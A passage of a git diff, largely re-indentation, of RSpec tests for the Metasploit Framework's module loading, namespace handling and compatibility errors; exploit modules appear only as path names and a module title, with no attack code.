@namespace_module.stub(:module_eval_with_lexical_scope).and_raise(error) + + @module_load_error_by_path = {} + module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + + error.stub(:backtrace => backtrace) + end + + context 'with version compatibility' do + before(:each) do + @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + end + + it 'should record the load error using the original error' do + subject.should_receive(:load_error).with(module_path, error) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + context 'without version compatibility' do + let(:version_compatibility_error) do + Msf::Modules::VersionCompatibilityError.new( + :module_path => module_path, + :module_reference_name => module_reference_name, + :minimum_api_version => infinity, + :minimum_core_version => infinity + ) + end + + let(:infinity) do + 0.0 / 0.0 + end + + before(:each) do + @namespace_module.stub( + :version_compatible! + ).with( + module_path, + module_reference_name + ).and_raise( + version_compatibility_error + ) + end + + it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do + subject.should_receive(:load_error).with(module_path, version_compatibility_error) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + it 'should return false' do + @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + end + + context 'without module_eval errors' do + before(:each) do + @namespace_module = double('Namespace Module') + @namespace_module.stub(:parent_path=) + @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) + + metasploit_class = double('Metasploit Class', :parent => @namespace_module) + @namespace_module.stub(:metasploit_class! => metasploit_class) + + subject.stub(:namespace_module_transaction).and_yield(@namespace_module) + + subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + + @module_load_error_by_path = {} + module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + end + + it 'should check for version compatibility' do + module_manager.stub(:on_module_load) + + @namespace_module.should_receive(:version_compatible!).with(module_path, module_reference_name) + subject.load_module(parent_path, type, module_reference_name) + end + + context 'without version compatibility' do + let(:version_compatibility_error) do + Msf::Modules::VersionCompatibilityError.new( + :module_path => module_path, + :module_reference_name => module_reference_name, + :minimum_api_version => infinity, + :minimum_core_version => infinity + ) + end + + let(:infinity) do + 0.0 / 0.0 + end + + before(:each) do + @namespace_module.stub( + :version_compatible! + ).with( + module_path, + module_reference_name + ).and_raise( + version_compatibility_error + ) + end + + it 'should record the load error' do + subject.should_receive(:load_error).with(module_path, version_compatibility_error) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should restore the old namespace module' do + + end + end + + context 'with version compatibility' do + before(:each) do + @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + + module_manager.stub(:on_module_load) + end + + context 'without metasploit_class' do + let(:error) do + Msf::Modules::MetasploitClassCompatibilityError.new( + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end + + before(:each) do + @namespace_module.stub(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) + end + + it 'should record load error' do + subject.should_receive( + :load_error + ).with( + module_path, + kind_of(Msf::Modules::MetasploitClassCompatibilityError) + ) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should restore the old namespace module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_get(relative_name).should == @original_namespace_module + end + end + + context 'with metasploit_class' do + let(:metasploit_class) do + double('Metasploit Class') + end + + before(:each) do + @namespace_module.stub(:metasploit_class! => metasploit_class) + end + + it 'should check if it is usable' do + subject.should_receive(:usable?).with(metasploit_class).and_return(true) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + context 'without usable metasploit_class' do + before(:each) do + subject.stub(:usable? => false) + end + + it 'should log information' do + subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should restore the old namespace module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_get(relative_name).should == @original_namespace_module + end + end + + context 'with usable metasploit_class' do + before(:each) do + # remove the mocked namespace_module since happy-path/real loading is occurring in this context + subject.unstub(:namespace_module_transaction) + end + + it 'should log load information' do + subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do + original_load_error = "Back in my day this module didn't load" + module_manager.module_load_error_by_path[module_path] = original_load_error + + module_manager.module_load_error_by_path[module_path].should == original_load_error + subject.load_module(parent_path, type, module_reference_name).should be_true + module_manager.module_load_error_by_path[module_path].should be_nil + end + + it 'should return true' do + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + it 'should call module_manager.on_module_load' do + module_manager.should_receive(:on_module_load) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + context 'with :recalculate_by_type' do + it 'should set the type to be recalculated' do + recalculate_by_type = {} + + subject.load_module( + parent_path, + type, + module_reference_name, + :recalculate_by_type => recalculate_by_type + ).should be_true + recalculate_by_type[type].should be_true + end + end + + context 'with :count_by_type' do + it 'should set the count to 1 if it does not exist' do + count_by_type = {} + + count_by_type.has_key?(type).should be_false + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type + ).should be_true + count_by_type[type].should == 1 + end + + it 'should increment the count if it does exist' do + original_count = 1 + count_by_type = { + type => original_count + } + + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type + ).should be_true + + incremented_count = original_count + 1 + count_by_type[type].should == incremented_count + end + end + end + end + end + end + end + end + + context '#create_namespace_module' do + let(:namespace_module_names) do + [ + 'Msf', + 'Modules', + relative_name + ] + end + + let(:relative_name) do + 'Mod0' + end + + before(:each) do + # capture in local variable so it works in instance_eval + relative_name = self.relative_name + + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + end + + it 'should wrap NAMESPACE_MODULE_CONTENT with module declarations matching namespace_module_names' do + Object.should_receive( + :module_eval + ).with( + "module #{namespace_module_names[0]}\n" \ + "module #{namespace_module_names[1]}\n" \ + "module #{namespace_module_names[2]}\n" \ + "#{described_class::NAMESPACE_MODULE_CONTENT}\n" \ + "end\n" \ + "end\n" \ + "end", + anything, + anything + ) + + namespace_module = double('Namespace Module') + namespace_module.stub(:loader=) + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + + it "should set the module_eval path to the loader's __FILE__" do + Object.should_receive( + :module_eval + ).with( + anything, + described_class_pathname.to_s, + anything + ) + + namespace_module = double('Namespace Module') + namespace_module.stub(:loader=) + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + + it 'should set the module_eval line to compensate for the wrapping module declarations' do + Object.should_receive( + :module_eval + ).with( + anything, + anything, + described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length + ) + + namespace_module = double('Namespace Module') + namespace_module.stub(:loader=) + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + + it "should set the namespace_module's module loader to itself" do + namespace_module = double('Namespace Module') + + namespace_module.should_receive(:loader=).with(subject) + + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + end + + context '#current_module' do + let(:module_names) do + [ + 'Msf', + 'Modules', + relative_name + ] + end + + let(:relative_name) do + 'Mod0' + end + + before(:each) do + # copy to local variable so it is accessible in instance_eval + relative_name = self.relative_name + + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + end + + it 'should return nil if the module is not defined' do + Msf::Modules.const_defined?(relative_name).should be_false + subject.send(:current_module, module_names).should be_nil + end + + it 'should return the module if it is defined' do + module Msf + module Modules + module Mod0 + end + end + end + + subject.send(:current_module, module_names).should == Msf::Modules::Mod0 + end + end + + context '#each_module_reference_name' do + it 'should be abstract' do + expect { + subject.send(:each_module_reference_name, parent_path) + }.to raise_error(NotImplementedError) + end + end + + context '#module_path' do + it 'should be abstract' do + expect { + subject.send(:module_path, parent_path, Msf::MODULE_AUX, module_reference_name) + }.to raise_error(NotImplementedError) + end + end + + context '#module_path?' do + it 'should return false if path is hidden' do + hidden_path = '.hidden/path/file.rb' + + subject.send(:module_path?, hidden_path).should be_false + end + + it 'should return false if the file extension is not MODULE_EXTENSION' do + non_module_extension = '.c' + path = "path/with/wrong/extension#{non_module_extension}" + + non_module_extension.should_not == described_class::MODULE_EXTENSION + subject.send(:module_path?, path).should be_false + end + + it 'should return false if the file is a unit test' do + unit_test_extension = '.rb.ut.rb' + path = "path/to/unit_test#{unit_test_extension}" + + subject.send(:module_path?, path).should be_false + end + + it 'should return false if the file is a test suite' do + test_suite_extension = '.rb.ts.rb' + path = "path/to/test_suite#{test_suite_extension}" + + subject.send(:module_path?, path).should be_false + end + + it 'should return true otherwise' do + subject.send(:module_path?, module_path).should be_true + end + end + + context '#module_reference_name_from_path' do + it 'should strip MODULE_EXTENSION from the end of the path' do + path_without_extension = "a#{described_class::MODULE_EXTENSION}.dir/a" + path = "#{path_without_extension}#{described_class::MODULE_EXTENSION}" + + subject.send(:module_reference_name_from_path, path).should == path_without_extension + end + end + + context '#namespace_module_name' do + it 'should prefix the name with Msf::Modules::' do + subject.send(:namespace_module_name, module_full_name).should start_with('Msf::Modules::') + end + + it 'should prefix the relative name with Mod' do + namespace_module_name = subject.send(:namespace_module_name, module_full_name) + relative_name = namespace_module_name.gsub(/^.*::/, '') + + relative_name.should start_with('Mod') + end + + it 'should be reversible' do + namespace_module_name = subject.send(:namespace_module_name, module_full_name) + unpacked_name = namespace_module_name.gsub(/^.*::Mod/, '') + + [unpacked_name].pack('H*').should == module_full_name + end + end + + context '#namespace_module_names' do + it "should prefix the array with ['Msf', 'Modules']" do + subject.send(:namespace_module_names, module_full_name).should start_with(['Msf', 'Modules']) + end + + it 'should prefix the relative name with Mod' do + namespace_module_names = subject.send(:namespace_module_names, module_full_name) + + namespace_module_names.last.should start_with('Mod') + end + + it 'should be reversible' do + namespace_module_names = subject.send(:namespace_module_names, module_full_name) + relative_name = namespace_module_names.last + unpacked_name = relative_name.gsub(/^Mod/, '') + + [unpacked_name].pack('H*').should == module_full_name + end + end + + context '#namespace_module_transaction' do + let(:relative_name) do + 'Mod617578696c696172792f72737065632f6d6f636b' + end + + context 'with pre-existing namespace module' do + before(:each) do + module Msf + module Modules + module Mod617578696c696172792f72737065632f6d6f636b + class Metasploit3 + + end + end + end + end + + @existent_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b + end + + context 'with :reload => false' do + it 'should log an error' do + subject.should_receive(:elog).with(/Reloading.*when :reload => false/) + + subject.send(:namespace_module_transaction, module_full_name, :reload => false) do |namespace_module| + true + end + end + end + + it 'should remove the pre-existing namespace module' do + Msf::Modules.should_receive(:remove_const).with(relative_name) + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + true + end + end + + it 'should create a new namespace module for the block' do + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + namespace_module.should_not == @existent_namespace_module + + expect { + namespace_module::Metasploit3 + }.to raise_error(NameError) + + true + end + end + + context 'with an Exception from the block' do + let(:error_class) do + NameError + end + + let(:error_message) do + "SayMyName" + end + + it 'should restore the previous namespace module' do + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + + begin + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + current_constant = Msf::Modules.const_get(relative_name) + + current_constant.should == namespace_module + current_constant.should_not == @existent_namespace_module + + raise error_class, error_message + end + rescue error_class => error + end + + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + end + + it 'should re-raise the error' do + expect { + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + raise error_class, error_message + end + }.to raise_error(error_class, error_message) + end + end + + context 'with the block returning false' do + it 'should restore the previous namespace module' do + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + current_constant = Msf::Modules.const_get(relative_name) + + current_constant.should == namespace_module + current_constant.should_not == @existent_namespace_module + + false + end + + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + end + + it 'should return false' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + }.should be_false + end + end + + context 'with the block returning true' do + it 'should not restore the previous namespace module' do + Msf::Modules.const_get(relative_name).should == @existent_namespace_module + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + true + end + + current_constant = Msf::Modules.const_get(relative_name) + + current_constant.should_not be_nil + current_constant.should_not == @existent_namespace_module + end + + it 'should return true' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + }.should be_true + end + end + end + + context 'without pre-existing namespace module' do + before(:each) do + relative_name = self.relative_name + + if Msf::Modules.const_defined? relative_name + Msf::Modules.send(:remove_const, relative_name) + end + end + + it 'should create a new namespace module' do + expect { + Msf::Modules.const_get(relative_name) + }.to raise_error(NameError) + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Modules.const_get(relative_name).should == namespace_module + end + end + + context 'with an Exception from the block' do + let(:error_class) do + Exception + end + + let(:error_message) do + 'Error Message' + end + + it 'should remove the created namespace module' do + Msf::Modules.const_defined?(relative_name).should be_false + + begin + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Module.const_defined?(relative_name).should be_true + + raise error_class, error_message + end + rescue error_class + end + + Msf::Modules.const_defined?(relative_name).should be_false + end + + it 'should re-raise the error' do + expect { + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + raise error_class, error_message + end + }.to raise_error(error_class, error_message) + end + end + + context 'with the block returning false' do + it 'should remove the created namespace module' do + Msf::Modules.const_defined?(relative_name).should be_false + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Modules.const_defined?(relative_name).should be_true + + false + end + + Msf::Modules.const_defined?(relative_name).should be_false + end + + it 'should return false' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + false + }.should be_false + end + end + + context 'with the block returning true' do + it 'should not restore the non-existent previous namespace module' do + Msf::Modules.const_defined?(relative_name).should be_false + + created_namespace_module = nil + + subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| + Msf::Modules.const_defined?(relative_name).should be_true + + created_namespace_module = namespace_module + + true + end + + Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_get(relative_name).should == created_namespace_module + end + + it 'should return true' do + subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| + true + }.should be_true + end + end + end + end + + context '#read_module_content' do + it 'should be abstract' do + type = Msf::MODULE_AUX + + expect { + subject.send(:read_module_content, parent_pathname.to_s, type, module_reference_name) + }.to raise_error(NotImplementedError) + end + end + + context '#restore_namespace_module' do + let(:parent_module) do + Msf::Modules + end + + let(:relative_name) do + 'Mod0' + end + + it 'should do nothing if parent_module is nil' do + parent_module = nil + + # can check that NoMethodError is not raised because *const* methods are + # not defined on `nil`. + expect { + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + }.to_not raise_error + end + + context 'with namespace_module nil' do + let(:namespace_module) do + nil + end + + it 'should remove relative_name' do + parent_module.should_receive(:remove_const).with(relative_name) + + subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) + end + + it 'should not set the relative_name constant to anything' do + parent_module.should_not_receive(:const_set) + + subject.send(:restore_namespace_module, parent_module, relative_name, namespace_module) + end + end + + context 'with parent_module and namespace_module' do + before(:each) do + module Msf + module Modules + module Mod0 + class Metasploit3 + + end + end + end + end + + @original_namespace_module = Msf::Modules::Mod0 + + Msf::Modules.send(:remove_const, relative_name) + end + + context 'with relative_name being a defined constant' do + before(:each) do + module Msf + module Modules + module Mod0 + class Metasploit2 + + end + end + end + end + + @current_namespace_module = Msf::Modules::Mod0 + end + + context 'with the current constant being the namespace_module' do + it 'should not change the constant' do + parent_module.const_defined?(relative_name).should be_true + + current_module = parent_module.const_get(relative_name) + current_module.should == @current_namespace_module + + subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) + + parent_module.const_defined?(relative_name).should be_true + restored_module = parent_module.const_get(relative_name) + restored_module.should == current_module + restored_module.should == @current_namespace_module + end + + it 'should not remove the constant and then set it' do + parent_module.should_not_receive(:remove_const).with(relative_name) + parent_module.should_not_receive(:const_set).with(relative_name, @current_namespace_module) + + subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) + end + end + + context 'without the current constant being the namespace_module' do + it 'should remove relative_name from parent_module' do + parent_module.const_defined?(relative_name).should be_true + parent_module.should_receive(:remove_const).with(relative_name) + + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + end + + it 'should restore the module to the constant' do + parent_module.const_get(relative_name).should_not == @original_namespace_module + + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + + parent_module.const_get(relative_name).should == @original_namespace_module + end + end + end + + context 'without relative_name being a defined constant' do + it 'should set relative_name on parent_module to namespace_module' do + parent_module.const_defined?(relative_name).should be_false + + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + + parent_module.const_defined?(relative_name).should be_true + parent_module.const_get(relative_name).should == @original_namespace_module + end + end + end + end + + context '#typed_path' do + it 'should delegate to the class method' do + type = Msf::MODULE_EXPLOIT + + described_class.should_receive(:typed_path).with(type, module_reference_name) + subject.send(:typed_path, type, module_reference_name) + end + end + + context '#usable?' do + context 'without metasploit_class responding to is_usable' do + it 'should return true' do + metasploit_class = double('Metasploit Class') + metasploit_class.should_not respond_to(:is_usable) + + subject.send(:usable?, metasploit_class).should be_true + end + end + + context 'with metasploit_class responding to is_usable' do + it 'should delegate to metasploit_class.is_usable' do + # not a proper return, but guarantees that delegation is actually happening + usability = 'maybe' + metasploit_class = double('Metasploit Class', :is_usable => usability) + + subject.send(:usable?, metasploit_class).should == usability + end + + context 'with error from metasploit_class.is_usable' do + let(:error) do + 'Expected error' + end + + let(:metasploit_class) do + metasploit_class = double('Metasploit Class') + + metasploit_class.stub(:is_usable).and_raise(error) + + metasploit_class + end + + it 'should log error' do + subject.should_receive(:elog).with(/#{error}/) + + subject.send(:usable?, metasploit_class) + end + + it 'should return false' do + subject.send(:usable?, metasploit_class).should be_false + end + end + end + end + end end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index eb967951ac..bb2762782a 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -6,159 +6,159 @@ require 'msf/core/modules/loader/directory' require 'msf/core' describe Msf::Modules::Loader::Directory do - context 'instance methods' do - include_context 'Msf::Modules::Loader::Base' + context 'instance methods' do + include_context 'Msf::Modules::Loader::Base' - let(:module_manager) do - double('Module Manager') - end + let(:module_manager) do + double('Module Manager') + end - let(:module_path) do - "#{parent_path}/exploits/#{module_reference_name}.rb" - end + let(:module_path) do + "#{parent_path}/exploits/#{module_reference_name}.rb" + end - let(:type) do - 'exploit' - end + let(:type) do + 'exploit' + end - subject do - described_class.new(module_manager) - end + subject do + described_class.new(module_manager) + end - context '#load_module' do - context 'with existent module_path' do - let(:framework) do - framework = double('Msf::Framework', :datastore => {}) + context '#load_module' do + context 'with existent module_path' do + let(:framework) do + framework = double('Msf::Framework', :datastore => {}) - events = double('Events') - events.stub(:on_module_load) - events.stub(:on_module_created) - framework.stub(:events => events) + events = double('Events') + events.stub(:on_module_load) + events.stub(:on_module_created) + framework.stub(:events => events) - framework - end + framework + end - let(:module_full_name) do - "#{type}/#{module_reference_name}" - end + let(:module_full_name) do + "#{type}/#{module_reference_name}" + end - let(:module_manager) do - Msf::ModuleManager.new(framework) - end + let(:module_manager) do + Msf::ModuleManager.new(framework) + end - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end - it 'should load a module that can be created' do - subject.load_module(parent_path, type, module_reference_name).should be_true + it 'should load a module that can be created' do + subject.load_module(parent_path, type, module_reference_name).should be_true - created_module = module_manager.create(module_full_name) + created_module = module_manager.create(module_full_name) - created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption' - end + created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption' + end - context 'with module previously loaded' do - before(:each) do - subject.load_module(parent_path, type, module_reference_name) - end + context 'with module previously loaded' do + before(:each) do + subject.load_module(parent_path, type, module_reference_name) + end - # Payloads are defined as ruby Modules so they can behave differently - context 'with payload' do - let(:reference_name) do - 'stages/windows/x64/vncinject' - end + # Payloads are defined as ruby Modules so they can behave differently + context 'with payload' do + let(:reference_name) do + 'stages/windows/x64/vncinject' + end - let(:type) do - 'payload' - end + let(:type) do + 'payload' + end - it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end + it 'should not load the module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end - # Non-payloads are defined as ruby Classes - context 'without payload' do - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end + # Non-payloads are defined as ruby Classes + context 'without payload' do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end - let(:type) do - 'exploit' - end + let(:type) do + 'exploit' + end - it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - end - end + it 'should not load the module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + end + end - context 'without existent module_path' do - let(:module_reference_name) do - 'osx/armle/safari_libtiff' - end + context 'without existent module_path' do + let(:module_reference_name) do + 'osx/armle/safari_libtiff' + end - let(:error) do - Errno::ENOENT.new(module_path) - end + let(:error) do + Errno::ENOENT.new(module_path) + end - before(:each) do - module_manager.stub(:file_changed? => true) - module_manager.stub(:module_load_error_by_path => {}) - end + before(:each) do + module_manager.stub(:file_changed? => true) + module_manager.stub(:module_load_error_by_path => {}) + end - it 'should not raise an error' do - File.exist?(module_path).should be_false + it 'should not raise an error' do + File.exist?(module_path).should be_false - expect { - subject.load_module(parent_path, type, module_reference_name) - }.to_not raise_error - end + expect { + subject.load_module(parent_path, type, module_reference_name) + }.to_not raise_error + end - it 'should return false' do - File.exist?(module_path).should be_false + it 'should return false' do + File.exist?(module_path).should be_false - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - end + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + end - context '#read_module_content' do - context 'with non-existent module_path' do - let(:module_reference_name) do - 'osx/armle/safari_libtiff' - end + context '#read_module_content' do + context 'with non-existent module_path' do + let(:module_reference_name) do + 'osx/armle/safari_libtiff' + end - before(:each) do - subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT)) - end + before(:each) do + subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT)) + end - # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test - it 'should attempt to open the expected module_path' do - File.should_receive(:open).with(module_path, 'rb') - File.exist?(module_path).should be_false + # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test + it 'should attempt to open the expected module_path' do + File.should_receive(:open).with(module_path, 'rb') + File.exist?(module_path).should be_false - subject.send(:read_module_content, parent_path, type, module_reference_name) - end + subject.send(:read_module_content, parent_path, type, module_reference_name) + end - it 'should not raise an error' do - expect { - subject.send(:read_module_content, parent_path, type, module_reference_name) - }.to_not raise_error - end + it 'should not raise an error' do + expect { + subject.send(:read_module_content, parent_path, type, module_reference_name) + }.to_not raise_error + end - it 'should return an empty string' do - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' - end + it 'should return an empty string' do + subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + end - it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) + it 'should record the load error' do + subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' - end - end - end - end + subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + end + end + end + end end diff --git a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb index 01f1b14409..f3ebffdcaf 100644 --- a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb @@ -4,5 +4,5 @@ require 'spec_helper' require 'msf/core/modules/metasploit_class_compatibility_error' describe Msf::Modules::MetasploitClassCompatibilityError do - it_should_behave_like 'Msf::Modules::Error subclass #initialize' + it_should_behave_like 'Msf::Modules::Error subclass #initialize' end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 96eaf44a86..d0bd0843c7 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -5,264 +5,264 @@ require 'msf/core' require 'msf/core/modules/namespace' describe Msf::Modules::Namespace do - let(:module_path) do - "parent/path/type_directory/#{module_reference_name}.rb" - end + let(:module_path) do + "parent/path/type_directory/#{module_reference_name}.rb" + end - let(:module_reference_name) do - 'module/reference/name' - end + let(:module_reference_name) do + 'module/reference/name' + end - subject do - mod = Module.new - mod.extend described_class + subject do + mod = Module.new + mod.extend described_class - mod - end + mod + end - context 'metasploit_class' do - before(:each) do - if major - subject.const_set("Metasploit#{major}", Class.new) - end - end + context 'metasploit_class' do + before(:each) do + if major + subject.const_set("Metasploit#{major}", Class.new) + end + end - context 'without Metasploit<n> constant defined' do - let(:major) do - nil - end + context 'without Metasploit<n> constant defined' do + let(:major) do + nil + end it 'should not be defined' do - metasploit_constants = subject.constants.select { |constant| - constant.to_s =~ /Metasploit/ - } + metasploit_constants = subject.constants.select { |constant| + constant.to_s =~ /Metasploit/ + } - metasploit_constants.should be_empty + metasploit_constants.should be_empty end - end + end - context 'with Metasploit1 constant defined' do - let(:major) do - 1 - end + context 'with Metasploit1 constant defined' do + let(:major) do + 1 + end - it 'should be defined' do - subject.const_defined?('Metasploit1').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit1').should be_true + end - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end - context 'with Metasploit2 constant defined' do - let(:major) do - 2 - end + context 'with Metasploit2 constant defined' do + let(:major) do + 2 + end - it 'should be defined' do - subject.const_defined?('Metasploit2').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit2').should be_true + end - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end - context 'with Metasploit3 constant defined' do - let(:major) do - 3 - end + context 'with Metasploit3 constant defined' do + let(:major) do + 3 + end - it 'should be defined' do - subject.const_defined?('Metasploit3').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit3').should be_true + end - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end - context 'with Metasploit4 constant defined' do - let(:major) do - 4 - end + context 'with Metasploit4 constant defined' do + let(:major) do + 4 + end - it 'should be defined' do - subject.const_defined?('Metasploit4').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit4').should be_true + end - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end - context 'with Metasploit5 constant defined' do - let(:major) do - 5 - end + context 'with Metasploit5 constant defined' do + let(:major) do + 5 + end - it 'should be defined' do - subject.const_defined?('Metasploit5').should be_true - end + it 'should be defined' do + subject.const_defined?('Metasploit5').should be_true + end - it 'should be newer than Msf::Framework::Major' do - major.should > Msf::Framework::Major - end + it 'should be newer than Msf::Framework::Major' do + major.should > Msf::Framework::Major + end - it 'should return nil' do - subject.metasploit_class.should be_nil - end - end - end + it 'should return nil' do + subject.metasploit_class.should be_nil + end + end + end - context 'metasploit_class!' do - it 'should call metasploit_class' do - subject.should_receive(:metasploit_class).and_return(Class.new) + context 'metasploit_class!' do + it 'should call metasploit_class' do + subject.should_receive(:metasploit_class).and_return(Class.new) - subject.metasploit_class!(module_path, module_reference_name) - end + subject.metasploit_class!(module_path, module_reference_name) + end - context 'with metasploit_class' do - let(:metasploit_class) do - Class.new - end + context 'with metasploit_class' do + let(:metasploit_class) do + Class.new + end - before(:each) do - subject.stub(:metasploit_class => metasploit_class) - end + before(:each) do + subject.stub(:metasploit_class => metasploit_class) + end - it 'should return the metasploit_class' do - subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class - end - end + it 'should return the metasploit_class' do + subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class + end + end - context 'without metasploit_class' do - before(:each) do - subject.stub(:metasploit_class => nil) - end + context 'without metasploit_class' do + before(:each) do + subject.stub(:metasploit_class => nil) + end - it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do - expect { - subject.metasploit_class!(module_path, module_reference_name) - }.to raise_error(Msf::Modules::MetasploitClassCompatibilityError) - end + it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do + expect { + subject.metasploit_class!(module_path, module_reference_name) + }.to raise_error(Msf::Modules::MetasploitClassCompatibilityError) + end - context 'the Msf::Modules::MetasploitClassCompatibilityError' do - it 'should include the module path' do - error = nil + context 'the Msf::Modules::MetasploitClassCompatibilityError' do + it 'should include the module path' do + error = nil - begin - subject.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error - end + begin + subject.metasploit_class!(module_path, module_reference_name) + rescue Msf::Modules::MetasploitClassCompatibilityError => error + end - error.should_not be_nil - error.to_s.should include(module_path) - end + error.should_not be_nil + error.to_s.should include(module_path) + end - it 'should include the module reference name' do - error 